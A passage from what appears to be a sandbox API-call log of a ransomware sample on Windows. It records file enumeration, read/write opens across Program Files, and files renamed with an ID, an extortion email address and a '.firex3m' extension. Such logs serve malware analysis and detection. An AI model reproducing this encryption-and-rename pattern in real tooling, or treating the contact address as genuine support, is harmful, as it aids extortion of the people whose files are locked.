lpOverlapped=0x0) returned 1 [0268.862] CloseHandle (hObject=0x42c) returned 1 [0268.862] GetProcessHeap () returned 0x630000 [0268.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e8d40 | out: hHeap=0x630000) returned 1 [0268.862] GetProcessHeap () returned 0x630000 [0268.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0268.862] GetProcessHeap () returned 0x630000 [0268.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0268.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x66341a8d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0xaf87496, dwReserved1=0x730ba00, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5380 [0268.862] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0268.862] Sleep (dwMilliseconds=0x1) [0270.906] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_altform-unplated_contrast-white.png") returned 1 [0270.906] GetProcessHeap () returned 0x630000 [0270.906] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf8) returned 0x6fe3bb0 [0270.907] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-48_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-48_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.907] Sleep (dwMilliseconds=0x1) [0273.091] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-white.png", len=0x86 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-white.png") returned 1 [0273.091] GetProcessHeap () returned 0x630000 [0273.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0273.091] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.093] Sleep (dwMilliseconds=0x1) [0273.106] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-white.png") returned 1 [0273.106] GetProcessHeap () returned 0x630000 [0273.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0273.107] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.107] Sleep (dwMilliseconds=0x1) [0273.129] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x5e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0273.129] GetProcessHeap () returned 0x630000 [0273.129] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0273.129] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.132] Sleep (dwMilliseconds=0x1) [0273.137] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x65 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0273.138] GetProcessHeap () returned 0x630000 [0273.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0273.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.138] Sleep (dwMilliseconds=0x1) [0273.153] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\WhatsNew.Store.exe", len=0x5f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\WhatsNew.Store.exe") returned 1 [0273.153] GetProcessHeap () returned 0x630000 [0273.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0273.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\WhatsNew.Store.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\whatsnew.store.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.154] Sleep (dwMilliseconds=0x1) [0273.169] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x5a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0273.169] GetProcessHeap () returned 0x630000 [0273.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0273.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.170] Sleep (dwMilliseconds=0x1) [0273.186] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png", len=0x76 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png") returned 1 [0273.186] GetProcessHeap () returned 0x630000 [0273.186] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0273.186] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\Images\\playbutton.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\images\\playbutton.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.188] Sleep (dwMilliseconds=0x1) [0273.201] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt", len=0x6a | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt") returned 1 [0273.201] GetProcessHeap () returned 0x630000 [0273.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0273.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.xslt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.xslt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.203] Sleep (dwMilliseconds=0x1) [0273.216] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf", len=0x63 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf") returned 1 [0273.216] GetProcessHeap () returned 0x630000 [0273.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0273.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\getsmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.216] Sleep (dwMilliseconds=0x1) [0273.233] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-black.png") returned 1 [0273.233] GetProcessHeap () returned 0x630000 [0273.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e14) returned 0x6fe3bb0 [0273.233] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.235] Sleep (dwMilliseconds=0x1) [0273.249] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-white.png", len=0x86 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-white.png") returned 1 [0273.249] GetProcessHeap () returned 0x630000 [0273.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e08) returned 0x6fe3bb0 [0273.249] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.251] Sleep (dwMilliseconds=0x1) [0273.266] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72.png", len=0x77 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72.png") returned 1 [0273.266] GetProcessHeap () returned 0x630000 [0273.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df4) returned 0x6fe3bb0 [0273.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.268] Sleep (dwMilliseconds=0x1) [0273.279] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-white.png") returned 1 [0273.279] GetProcessHeap () returned 0x630000 [0273.279] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de8) returned 0x6fe3bb0 [0273.279] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.280] Sleep (dwMilliseconds=0x1) [0273.303] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-white.png") returned 1 [0273.303] GetProcessHeap () returned 0x630000 [0273.303] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd0) returned 0x6fe3bb0 [0273.304] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.304] Sleep (dwMilliseconds=0x1) [0273.311] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated.png", len=0x88 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated.png") returned 1 [0273.312] GetProcessHeap () returned 0x630000 [0273.312] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc8) returned 0x6fe3bb0 [0273.312] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.313] Sleep (dwMilliseconds=0x1) [0273.330] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated.png", len=0x88 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated.png") returned 1 [0273.330] GetProcessHeap () returned 0x630000 [0273.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db0) returned 0x6fe3bb0 [0273.330] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.332] Sleep (dwMilliseconds=0x1) [0275.313] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-150.png", len=0x8b | out: pbstr=0x5d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-150.png") returned 1 [0275.314] GetProcessHeap () returned 0x630000 [0275.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b38) returned 0x6fe3bb0 [0275.315] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.316] Sleep (dwMilliseconds=0x1) Thread: id = 78 os_tid = 0x1280 [0067.703] Sleep (dwMilliseconds=0x1) [0067.825] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.838] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.980] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.917] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.567] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.192] Sleep (dwMilliseconds=0x1) [0073.696] Sleep (dwMilliseconds=0x1) [0073.931] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.843] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.711] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.874] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) 